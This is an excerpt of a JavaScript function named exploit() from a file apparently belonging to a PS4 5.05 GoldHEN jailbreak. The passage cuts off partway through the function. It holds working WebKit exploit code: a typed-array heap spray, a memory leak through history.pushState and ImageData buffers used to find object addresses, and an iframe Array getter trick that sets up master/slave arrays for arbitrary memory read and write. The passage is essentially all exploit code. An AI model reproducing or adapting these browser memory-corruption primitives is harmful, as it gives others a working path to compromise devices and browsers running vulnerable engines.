Function exploit

restore/505goldhen/exploit.js:1033–1174

()

 runBinloader();
}
function exploit() {
 var instancespr = [];
 for (var i = 0; i < 0x1000; i++) {
  instancespr[i] = new Uint32Array(1);
  instancespr[i][makeid()] = 50057;
 }
 var tgt = {
  a: 0,
  b: 0,
  c: 0,
  d: 0
 };
 var y = new ImageData(1, 0x4000);
 postMessage("", "*", [y.data.buffer]);
 var props = {};
 for (var i = 0; i < (0x4000 / 2); ) {
  props[i++] = {
   value: 0x42424242
  };
  props[i++] = {
   value: tgt
  };
 }
 var foundLeak = undefined;
 var foundIndex = 0;
 var maxCount = 0x100;
 while (foundLeak == undefined && maxCount > 0) {
  maxCount--;
  history.pushState(y, "");
  Object.defineProperties({}, props);
  var leak = new Uint32Array(history.state.data.buffer);
  for (var i = 0; i < leak.length - 6; i++) {
   if (leak[i] == 0x42424242 && leak[i + 0x1] == 0xFFFF0000 && leak[i + 0x2] == 0x00000000 && leak[i + 0x3] == 0x00000000 && leak[i + 0x4] == 0x00000000 && leak[i + 0x5] == 0x00000000 && leak[i + 0x6] == 0x0000000E && leak[i + 0x7] == 0x00000000 && leak[i + 0xA] == 0x00000000 && leak[i + 0xB] == 0x00000000 && leak[i + 0xC] == 0x00000000 && leak[i + 0xD] == 0x00000000 && leak[i + 0xE] == 0x0000000E && leak[i + 0xF] == 0x00000000) {
    foundIndex = i;
    foundLeak = leak;
    break;
   }
  }
 }
 if (!foundLeak) {
  failed = true;
  fail("Failed to find leak!");
 }
 var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
 var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
 try {
  Array.prototype.__defineGetter__(100, () => 1);
  var f = document.body.appendChild(document.createElement('iframe'));
  var a = new f.contentWindow.Array(13.37, 13.37);
  var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
  var master = new Uint32Array(0x1000);
  var slave = new Uint32Array(0x1000);
  var leakval_u32 = new Uint32Array(0x1000);
  var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
  tgt.a = u2d(0x00000800, 0x01602300);
  tgt.b = 0;
  tgt.c = leakval_helper;
  tgt.d = 0x1337;